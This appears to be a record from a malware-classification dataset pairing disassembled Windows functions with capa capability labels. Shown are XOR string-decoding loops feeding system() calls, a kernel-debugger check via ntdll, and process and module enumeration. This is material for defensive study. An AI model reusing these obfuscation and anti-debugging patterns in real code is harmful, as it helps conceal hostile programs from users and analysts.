joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140027e10
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
lea rcx, [rbp + 0x10]
call fcn.140025b70
mov rax, qword [rbp + 0x10]
movabs rcx, 0x7ffffff207b8a7fe
cmp rax, rcx
jg 0x140027e52
movabs rbx, 0xdf8475800
add rbx, rax
jmp 0x140027e5c
movabs rbx, 0x7fffffffffffffff
movabs rdi, 0x4e94914effff
movabs rsi, 0x431bde82d7b634db
lea rcx, [rbp + 0x10]
call fcn.140025b70
mov rax, qword [rbp + 0x10]
cmp rbx, rax
je 0x140027ec7
jl 0x140027ec7
mov rcx, rbx
sub rcx, rax
cmp rcx, rdi
jg 0x140027ebb
mov rax, rsi
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x140027eb2
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x140027e70
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x140027e70
movdqa xmm0, xmmword [0x1400344b0]
xor ebx, ebx
movdqa xmm1, xmmword [0x1400344a0]
mov ecx, ebx
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x1400343c0]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x20], 0xee9698f1
mov dword [rbp - 0x1c], 0xcbd3829b
mov dword [rbp - 0x18], 0xfcf3e0d3
mov dword [rbp - 0x14], 0x100f5e5
nop
lea eax, [rcx - 0x79]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x3e
jb 0x140027f10
lea rcx, [rbp - 0x50]
mov byte [rbp - 0x11], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400344b0]
mov rcx, rbx
movdqa xmm1, xmmword [0x140034480]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x1400343b0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x140034290]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0x10], 1
nop dword [rax + rax]
lea eax, [rcx - 0x79]
xor byte [rbp + rcx - 0x50], al
inc rcx
cmp rcx, 0x3f
jb 0x140027f70
lea rcx, [rbp - 0x50]
mov byte [rbp - 0x10], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400344b0]
movdqa xmm1, xmmword [0x140034490]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x1400343d0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x140034590]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm1
mov word [rbp - 0x10], 0x100
nop word [rax + rax]
lea eax, [rbx - 0x79]
xor byte [rbp + rbx - 0x50], al
inc rbx
cmp rbx, 0x40
jb 0x140027fd0
lea rcx, [rbp - 0x50]
mov byte [rbp - 0xf], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140028040
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14003b040]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movdqa xmm0, xmmword [0x140034510]
mov r8, rax
movdqu xmmword [rsp + 0x20], xmm0
xor eax, eax
mov dword [rsp + 0x30], 0xfbf4eaf8
mov dword [rsp + 0x34], 0xf0f2f5ef
mov word [rsp + 0x38], 0x100
lea ecx, [rax - 0x79]
xor byte [rsp + rax + 0x20], cl
inc rax
cmp rax, 0x18
jb 0x140028090
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x39], 0
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
lea rdx, [rsp + 0x48]
lea r8d, [r9 + 2]
lea ecx, [r9 + 0x23]
call rax
test eax, eax
jne 0x1400280d5
cmp byte [rsp + 0x48], al
je 0x1400280d5
cmp byte [rsp + 0x49], al
je 0x1400280e7
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14002ccd0
add rsp, 0x68
ret
lea rdx, str.SystemKernelDebuggerInformation
lea rcx, [rsp + 0x20]
call fcn.14002bc80
mov rcx, rax
call fcn.140026170
int3
Function at 0x140028680
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x20
mov rbp, rdx
mov rbx, rcx
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14002871b
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14002871b
nop word [rax + rax]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rbp + rax + 0x2c], 0
jne 0x1400286d0
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
mov r8, qword [rbx + 0x10]
jbe 0x1400286eb
mov rcx, qword [rbx]
cmp r8, rax
jne 0x1400286fd
lea rdx, [rbp + 0x2c]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140028773
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400286c0
test rsi, rsi
je 0x14002871b
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140028751
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x14002874c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400287bb
mov rcx, r8
call fcn.14002cea4
xor al, al
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
mov qword [rbx + 0x10], 0
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
test rsi, rsi
je 0x140028781
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1400287b7
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1400287b2
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400287bb
mov rcx, r8
call fcn.14002cea4
mov al, 1
jmp 0x140028753
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14002a960
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 6], al
je 0x14002a993
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x79]
xor byte [rdx + rax], cl
inc rax
cmp rax, 5
jb 0x14002a980
mov byte [rdx + 6], 0
lea r8, [rdx + 5]
mov rcx, rbx
call fcn.14002c260
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14002a9b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 7], al
je 0x14002a9e3
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x79]
xor byte [rdx + rax], cl
inc rax
cmp rax, 6
jb 0x14002a9d0
mov byte [rdx + 7], 0
lea r8, [rdx + 6]
mov rcx, rbx
call fcn.14002c260
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14002aa00
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0xd], al
je 0x14002aa33
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x79]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0xc
jb 0x14002aa20
mov byte [rdx + 0xd], 0
lea r8, [rdx + 0xc]
mov rcx, rbx
call fcn.14002c260
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14002aa50
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0xb], al
je 0x14002aa83
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x79]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0xa
jb 0x14002aa70
mov byte [rdx + 0xb], 0
lea r8, [rdx + 0xa]
mov rcx, rbx
call fcn.14002c260
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14002aaa0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 8], al
je 0x14002aad3
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x79]
xor byte [rdx + rax], cl
inc rax
cmp rax, 7
jb 0x14002aac0
mov byte [rdx + 8], 0
lea r8, [rdx + 7]
mov rcx, rbx
call fcn.14002c260
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14002aaf0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 4], al
je 0x14002ab23
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x79]
xor byte [rdx + rax], cl
inc rax
cmp rax, 3
jb 0x14002ab10
mov byte [rdx + 4], 0
lea r8, [rdx + 3]
mov rcx, rbx
call fcn.14002c260
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14002ab40
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0x10], al
je 0x14002ab73
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x79]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0xf
jb 0x14002ab60
mov byte [rdx + 0x10], 0
lea r8, [rdx + 0xf]
mov rcx, rbx
call fcn.14002c260
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14002ab90
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0xc], al
je 0x14002abc3
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x79]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0xb
jb 0x14002abb0
mov byte [rdx + 0xc], 0
lea r8, [rdx + 0xb]
mov rcx, rbx
call fcn.14002c260
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14002abe0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0xf], al
je 0x14002ac13
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x79]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0xe
jb 0x14002ac00
mov byte [rdx + 0xf], 0
lea r8, [rdx + 0xe]
mov rcx, rbx
call fcn.14002c260
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14002ac30
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0x12], al
je 0x14002ac63
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x79]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0x11
jb 0x14002ac50
mov byte [rdx + 0x12], 0
lea r8, [rdx + 0x11]
mov rcx, rbx
call fcn.14002c260
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14002ac80
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0x16], al
je 0x14002acb3
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x79]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0x15
jb 0x14002aca0
mov byte [rdx + 0x16], 0
lea r8, [rdx + 0x15]
mov rcx, rbx
call fcn.14002c260
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14002acd0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 0xe], al
je 0x14002ad03
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x79]
xor byte [rdx + rax], cl
inc rax
cmp rax, 0xd
jb 0x14002acf0
mov byte [rdx + 0xe], 0
lea r8, [rdx + 0xd]
mov rcx, rbx
call fcn.14002c260
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x14002ad20
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
mov rdx, rcx
cmp byte [rcx + 9], al
je 0x14002ad53
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x79]
xor byte [rdx + rax], cl
inc rax
cmp rax, 8
jb 0x14002ad40
mov byte [rdx + 9], 0
lea r8, [rdx + 8]
mov rcx, rbx
call fcn.14002c260
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x14002b100
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14002b128
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14002b14e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14002b150
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14002b1a9
test ecx, ecx
jle 0x14002b189
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14002b1a9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14002b1a9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x14002b1d0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14002b1f2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x14002b208
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14002b224
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14002b226
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14002b262
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14002b2fe
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14002b29d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14002b2de
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14002b2fe
cmp rbx, rax
ja 0x14002b2b0
test rbx, rbx
je 0x14002b2fe
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x14002b760
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14003b040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14002b78d
xor eax, eax
jmp 0x14002b8f9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x14002b7c7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x14002b7c7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x14002b8f9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14002b8ec
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14002b80a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14002b835
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14002b8f1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14002b8a4
sub eax, 1
je 0x14002b8a4
cmp eax, 2
jne 0x14002b8ec
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14002b8f1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14002b8d2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14002b8ec
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14002b8f1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14002ccd0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x14002be80
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14003b040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14002bf53
cmp byte [rcx + 0x71], 0
je 0x14002bf53
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14002bf4f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14002bf14
sub eax, 1
je 0x14002bf18
cmp eax, 2
jne 0x14002bf4f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14002ccd0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14002bf46
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14002bf4f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14002befc
xor al, al
jmp 0x14002befc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14002ccd0
add rsp, 0x60
pop rbx
ret

Function at 0x14002ca30
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x14003b040]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rcx
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14002ca71
xor eax, eax
jmp 0x14002cac5
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14002caba
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14002cab6
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14002ca90
jmp 0x14002caba
mov esi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14002ccd0
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14002caf0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x14003b040]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rdi, rdx
xor esi, esi
mov edx, ecx
lea ecx, [rsi + 0x18]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14002cb31
xor eax, eax
jmp 0x14002cb87
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x14002cb7b
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14002cb76
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x14002cb50
jmp 0x14002cb7b
mov rsi, qword [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14002ccd0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x14002d8d8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002d922
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002d922
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002d922
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002d922
cmp dword [rcx + 0x84], 0xe
jbe 0x14002d922
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002d924
xor al, al
add rsp, 0x28
ret
Function at 0x415d00
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x415e90
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x0055d570]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x415d65
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x415d80
add rsp, 0x48
pop rbp
ret
call sym.runtime.add
mov rbx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x38]
sub rbx, rcx
nop dword [rax]
test rbx, rbx
jbe 0x415d9f
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x415daf
cmp rbx, 0x1000
jae 0x415d6b
jmp 0x415e1a
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x415dc2
xor edx, edx
nop
jmp 0x415e11
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x0055d570]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x415da5
jmp 0x415d94
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x0055d570]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call sym.runtime.printlock
lea rax, [0x0047c4e4]
mov ebx, 0x18
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x0047c6e3]
mov ebx, 0x19
call sym.runtime.printstring
mov rax, qword [rsp + 0x30]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x0047da2b]
mov ebx, 0x21
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.runtime.sysUnusedOS